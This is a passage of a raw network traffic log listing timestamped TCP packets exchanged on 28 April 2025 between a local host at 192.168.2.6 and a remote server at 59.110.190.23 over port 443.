Apr 28, 2025 16:40:59.224772930 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.227416992 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.227474928 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.228734970 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.228919029 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.230149031 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.230200052 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.232857943 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.232937098 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.234226942 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.234283924 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.236985922 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.237055063 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.238378048 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.238430977 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.239650965 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.239701986 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.242357016 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.242407084 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.243829012 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.243881941 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.246440887 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.246505022 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.247724056 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.247795105 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.250482082 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.250544071 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.251903057 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.251960039 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.254395962 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.254466057 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.255697012 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.255809069 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.257002115 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.257066965 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.259597063 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.259706974 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.260869980 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.260915995 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.263837099 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.263884068 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.265368938 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.265427113 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.266760111 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.266810894 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.268815041 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.268863916 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.269773006 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.269819021 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.272228003 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.272299051 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.273576021 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.273629904 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.274735928 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.274789095 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.277354956 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.277425051 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.278409004 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.278461933 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.280955076 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.281023026 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.282011032 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.282059908 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.282134056 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.282174110 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.282711983 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.282763004 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.285166979 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.285221100 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.286247969 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.286299944 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.288800001 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.288866997 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.289921045 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.289973974 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.292292118 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.292346954 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.293368101 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.293414116 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.295783043 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.295836926 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.296987057 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.297043085 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.298046112 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.298095942 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.300412893 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.300473928 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.301485062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.301532984 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.303777933 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.303828955 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.304898024 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.304948092 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.306066036 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.306122065 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.308250904 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.308315992 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.309403896 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.309462070 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.311633110 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.311705112 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.312783957 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.312833071 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.313967943 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.314023972 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.316005945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.316061974 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.317151070 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.317197084 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.319344997 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.319401026 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.320434093 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.320493937 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.321480989 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.321547985 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.323633909 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.323709965 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.324748039 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.324796915 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.326894999 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.326951981 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.327994108 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.328059912 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.328949928 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.329003096 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.331166029 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.331212997 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.332194090 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.332236052 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.332735062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.332792044 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.333890915 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.333945036 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.335947990 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.335999966 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.337032080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.337078094 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.337969065 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.338015079 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.340025902 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.340078115 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.341017008 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.341068029 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.343148947 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.343189955 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.344116926 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.344157934 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.345180035 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.345237970 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.347166061 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.347229958 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.348148108 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.348206043 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.350186110 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.350239992 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.351268053 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.351334095 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.352268934 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.352314949 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.354237080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.354285002 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.355155945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.355200052 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.357095003 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.357150078 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.358118057 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.358165979 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.359179974 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.359224081 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.360946894 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.361078024 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.361128092 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.362050056 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.362096071 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.364118099 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.364181042 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.365022898 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.365072966 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.365952015 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.366000891 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.367903948 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.367954016 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.369828939 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.369887114 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.370980978 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.371037006 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.372982025 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.373032093 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.373419046 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.373469114 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.374201059 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.374255896 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.375720978 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.375766993 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.376480103 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.376526117 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.378005981 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.378055096 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.378799915 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.378855944 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.379556894 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.379610062 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.381109953 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.381162882 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.381900072 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.381943941 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.383410931 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.383472919 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.384097099 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.384145021 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.384917974 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.384967089 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.386357069 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.386403084 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.387175083 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.387229919 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.388077021 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.388772011 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.388839960 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.389456034 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.389501095 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.390374899 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.390428066 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.391782999 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.391835928 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.392447948 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.392494917 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.393948078 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.393996954 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.394584894 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.394624949 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.395344019 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.395392895 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.396972895 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.397021055 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.398276091 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.398318052 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.399142027 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.399195910 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.399823904 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.399867058 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.401380062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.401424885 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.402020931 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.402061939 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.403410912 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.403474092 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.404217958 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.404268980 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.404917955 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.404968023 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.406404972 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.406455994 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.407087088 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.407135010 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.408497095 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.408548117 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.409368038 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.409419060 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.409955978 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.410001993 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.411453009 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.411511898 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.412187099 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.412261963 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.413902998 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.413947105 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.413959026 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.413965940 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.413995028 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.414019108 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.414293051 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.414367914 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.415601969 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.415663004 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.416227102 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.416281939 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.417555094 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.417602062 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.418309927 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.418359041 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.419047117 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.419099092 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.420363903 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.420417070 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.421149015 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.421196938 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.422574997 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.422646046 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.423325062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.423373938 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.424704075 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.424761057 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.425530910 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.425580978 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.427180052 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.427232027 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.427966118 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.428015947 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.428467989 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.428520918 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.429815054 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.429862976 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.430685043 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.430742025 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.431868076 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.431919098 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.432455063 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.432514906 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.433033943 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.433104038 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.434463978 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.434519053 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.435242891 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.435296059 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.436496973 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.436552048 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.437311888 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.437364101 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.437967062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.438016891 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.439207077 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.439260006 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.439886093 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.439937115 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.440058947 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.441328049 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.441387892 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.441979885 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.442028046 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.442658901 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.442709923 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.444003105 CEST	443	49698	59.110.190.23	192.168.2.6
